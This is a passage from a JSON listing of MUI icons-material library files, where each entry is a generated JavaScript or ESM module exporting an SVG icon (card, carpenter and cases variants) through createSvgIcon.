8H20z\"\n}), 'CardGiftcardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardGiftcardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6h-4.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H2.01v15H22zm-7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 12 7.4l3.38 4.6L17 10.83 14.92 8H20z\"\n}), 'CardGiftcardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardGiftcardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17h16v2H4zm13-6.17L15.38 12 12 7.4 8.62 12 7 10.83 9.08 8H4v6h16V8h-5.08z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 12 7.4l3.38 4.6L17 10.83 14.92 8H20z\"\n}, \"1\")], 'CardGiftcardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardGiftcardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17h16v2H4zm13-6.17L15.38 12 12 7.4 8.62 12 7 10.83 9.08 8H4v6h16V8h-5.08z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 12 7.4l3.38 4.6L17 10.83 14.92 8H20z\"\n}, \"1\")], 'CardGiftcardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardMembership.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h4v5l4-2 4 2v-5h4c1.11 0 2-.89 2-2V4c0-1.11-.89-2-2-2m0 13H4v-2h16zm0-5H4V4h16z\"\n}), 'CardMembership');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardMembership.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h4v5l4-2 4 2v-5h4c1.11 0 2-.89 2-2V4c0-1.11-.89-2-2-2m0 13H4v-2h16zm0-5H4V4h16z\"\n}), 'CardMembership');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardMembershipOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h4v5l4-2 4 2v-5h4c1.11 0 2-.89 2-2V4c0-1.11-.89-2-2-2m0 13H4v-2h16zm0-5H4V4h16z\"\n}), 'CardMembershipOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardMembershipOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h4v5l4-2 4 2v-5h4c1.11 0 2-.89 2-2V4c0-1.11-.89-2-2-2m0 13H4v-2h16zm0-5H4V4h16z\"\n}), 'CardMembershipOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardMembershipRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h4v5l4-2 4 2v-5h4c1.11 0 2-.89 2-2V4c0-1.11-.89-2-2-2m0 13H4v-2h16zm0-5H4V5c0-.55.45-1 1-1h14c.55 0 1 .45 1 1z\"\n}), 'CardMembershipRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardMembershipRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h4v5l4-2 4 2v-5h4c1.11 0 2-.89 2-2V4c0-1.11-.89-2-2-2m0 13H4v-2h16zm0-5H4V5c0-.55.45-1 1-1h14c.55 0 1 .45 1 1z\"\n}), 'CardMembershipRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardMembershipSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v15h6v5l4-2 4 2v-5h6zm-2 13H4v-2h16zm0-5H4V4h16z\"\n}), 'CardMembershipSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardMembershipSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v15h6v5l4-2 4 2v-5h6zm-2 13H4v-2h16zm0-5H4V4h16z\"\n}), 'CardMembershipSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardMembershipTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4h16v6H4zm0 9h16v2H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h4v5l4-2 4 2v-5h4c1.11 0 2-.89 2-2V4c0-1.11-.89-2-2-2m0 13H4v-2h16zm0-5H4V4h16z\"\n}, \"1\")], 'CardMembershipTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardMembershipTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4h16v6H4zm0 9h16v2H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h4v5l4-2 4 2v-5h4c1.11 0 2-.89 2-2V4c0-1.11-.89-2-2-2m0 13H4v-2h16zm0-5H4V4h16z\"\n}, \"1\")], 'CardMembershipTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardTravel.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-3V4c0-1.11-.89-2-2-2H9c-1.11 0-2 .89-2 2v2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2M9 4h6v2H9zm11 15H4v-2h16zm0-5H4V8h3v2h2V8h6v2h2V8h3z\"\n}), 'CardTravel');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardTravel.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-3V4c0-1.11-.89-2-2-2H9c-1.11 0-2 .89-2 2v2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2M9 4h6v2H9zm11 15H4v-2h16zm0-5H4V8h3v2h2V8h6v2h2V8h3z\"\n}), 'CardTravel');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardTravelOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-3V4c0-1.11-.89-2-2-2H9c-1.11 0-2 .89-2 2v2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2M9 4h6v2H9zm11 15H4v-2h16zm0-5H4V8h3v2h2V8h6v2h2V8h3z\"\n}), 'CardTravelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardTravelOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-3V4c0-1.11-.89-2-2-2H9c-1.11 0-2 .89-2 2v2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2M9 4h6v2H9zm11 15H4v-2h16zm0-5H4V8h3v2h2V8h6v2h2V8h3z\"\n}), 'CardTravelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardTravelRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-3V4c0-1.11-.89-2-2-2H9c-1.11 0-2 .89-2 2v2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2M9 4h6v2H9zm11 15H4v-2h16zm0-5H4V9c0-.55.45-1 1-1h2v1c0 .55.45 1 1 1s1-.45 1-1V8h6v1c0 .55.45 1 1 1s1-.45 1-1V8h2c.55 0 1 .45 1 1z\"\n}), 'CardTravelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardTravelRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-3V4c0-1.11-.89-2-2-2H9c-1.11 0-2 .89-2 2v2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2M9 4h6v2H9zm11 15H4v-2h16zm0-5H4V9c0-.55.45-1 1-1h2v1c0 .55.45 1 1 1s1-.45 1-1V8h6v1c0 .55.45 1 1 1s1-.45 1-1V8h2c.55 0 1 .45 1 1z\"\n}), 'CardTravelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardTravelSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6h-5V4c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2H2v15h20zM9 4h6v2H9zm11 15H4v-2h16zm0-5H4V8h3v2h2V8h6v2h2V8h3z\"\n}), 'CardTravelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardTravelSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6h-5V4c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2H2v15h20zM9 4h6v2H9zm11 15H4v-2h16zm0-5H4V8h3v2h2V8h6v2h2V8h3z\"\n}), 'CardTravelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardTravelTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17h16v2H4zm13-7h-2V8H9v2H7V8H4v6h16V8h-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-3V4c0-1.11-.89-2-2-2H9c-1.11 0-2 .89-2 2v2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2M9 4h6v2H9zm11 15H4v-2h16zm0-5H4V8h3v2h2V8h6v2h2V8h3z\"\n}, \"1\")], 'CardTravelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardTravelTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17h16v2H4zm13-7h-2V8H9v2H7V8H4v6h16V8h-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-3V4c0-1.11-.89-2-2-2H9c-1.11 0-2 .89-2 2v2H4c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2M9 4h6v2H9zm11 15H4v-2h16zm0-5H4V8h3v2h2V8h6v2h2V8h3z\"\n}, \"1\")], 'CardTravelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Carpenter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.73 14.23 7 1.5 3.11 5.39l8.13 11.67c-.78.78-.78 2.05 0 2.83l1.41 1.41c.78.78 2.05.78 2.83 0l4.24-4.24c.79-.78.79-2.05.01-2.83m-5.66 5.65-1.41-1.41 4.24-4.24 1.41 1.41z\"\n}), 'Carpenter');"
  },
  {
    "path": "packages/mui-icons-material/lib/Carpenter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.73 14.23 7 1.5 3.11 5.39l8.13 11.67c-.78.78-.78 2.05 0 2.83l1.41 1.41c.78.78 2.05.78 2.83 0l4.24-4.24c.79-.78.79-2.05.01-2.83m-5.66 5.65-1.41-1.41 4.24-4.24 1.41 1.41z\"\n}), 'Carpenter');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarpenterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.73 14.23 7 1.5 3.11 5.39l8.13 11.67c-.78.78-.78 2.05 0 2.83l1.41 1.41c.78.78 2.05.78 2.83 0l4.24-4.24c.79-.78.79-2.05.01-2.83M5.71 5.62 7 4.33l8.49 8.49-2.81 2.81zm8.36 14.26-1.41-1.41 4.24-4.24 1.41 1.41z\"\n}), 'CarpenterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarpenterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.73 14.23 7 1.5 3.11 5.39l8.13 11.67c-.78.78-.78 2.05 0 2.83l1.41 1.41c.78.78 2.05.78 2.83 0l4.24-4.24c.79-.78.79-2.05.01-2.83M5.71 5.62 7 4.33l8.49 8.49-2.81 2.81zm8.36 14.26-1.41-1.41 4.24-4.24 1.41 1.41z\"\n}), 'CarpenterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarpenterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.73 14.23 7.71 2.21a.996.996 0 0 0-1.41 0L3.7 4.8c-.34.34-.39.88-.11 1.28l7.65 10.98c-.78.78-.78 2.05 0 2.83l1.41 1.41c.78.78 2.05.78 2.83 0l4.24-4.24c.79-.78.79-2.05.01-2.83m-5.66 5.65-1.41-1.41 4.24-4.24 1.41 1.41z\"\n}), 'CarpenterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarpenterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.73 14.23 7.71 2.21a.996.996 0 0 0-1.41 0L3.7 4.8c-.34.34-.39.88-.11 1.28l7.65 10.98c-.78.78-.78 2.05 0 2.83l1.41 1.41c.78.78 2.05.78 2.83 0l4.24-4.24c.79-.78.79-2.05.01-2.83m-5.66 5.65-1.41-1.41 4.24-4.24 1.41 1.41z\"\n}), 'CarpenterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarpenterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 1.5 3.11 5.39l8.13 11.67-1.41 1.41 4.24 4.24 7.07-7.07zm5.66 16.97 4.24-4.24 1.41 1.41-4.24 4.24z\"\n}), 'CarpenterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarpenterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 1.5 3.11 5.39l8.13 11.67-1.41 1.41 4.24 4.24 7.07-7.07zm5.66 16.97 4.24-4.24 1.41 1.41-4.24 4.24z\"\n}), 'CarpenterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarpenterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.71 5.62 7 4.33l8.49 8.49-2.81 2.81z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.73 14.23 7 1.5 3.11 5.39l8.13 11.67c-.78.78-.78 2.05 0 2.83l1.41 1.41c.78.78 2.05.78 2.83 0l4.24-4.24c.79-.78.79-2.05.01-2.83M5.71 5.62 7 4.33l8.49 8.49-2.81 2.81zm8.36 14.26-1.41-1.41 4.24-4.24 1.41 1.41z\"\n}, \"1\")], 'CarpenterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarpenterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.71 5.62 7 4.33l8.49 8.49-2.81 2.81z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.73 14.23 7 1.5 3.11 5.39l8.13 11.67c-.78.78-.78 2.05 0 2.83l1.41 1.41c.78.78 2.05.78 2.83 0l4.24-4.24c.79-.78.79-2.05.01-2.83M5.71 5.62 7 4.33l8.49 8.49-2.81 2.81zm8.36 14.26-1.41-1.41 4.24-4.24 1.41 1.41z\"\n}, \"1\")], 'CarpenterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cases.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 22q-.825 0-1.4125-.5875T1 20V9h2v11h17v2zm4-4q-.825 0-1.4125-.5875T5 16V5h5V3q0-.825.5875-1.4125T12 1h4q.825 0 1.4125.5875T18 3v2h5v11q0 .825-.5875 1.4125T21 18zm5-13h4V3h-4z\"\n}), 'Cases');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cases.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 22q-.825 0-1.4125-.5875T1 20V9h2v11h17v2zm4-4q-.825 0-1.4125-.5875T5 16V5h5V3q0-.825.5875-1.4125T12 1h4q.825 0 1.4125.5875T18 3v2h5v11q0 .825-.5875 1.4125T21 18zm5-13h4V3h-4z\"\n}), 'Cases');"
  },
  {
    "path": "packages/mui-icons-material/lib/CasesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9H1v11c0 1.11.89 2 2 2h17v-2H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 5V3c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H5v11c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5zm-6-2h4v2h-4zm9 13H7V7h14z\"\n}, \"1\")], 'CasesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CasesOutlined.mjs",
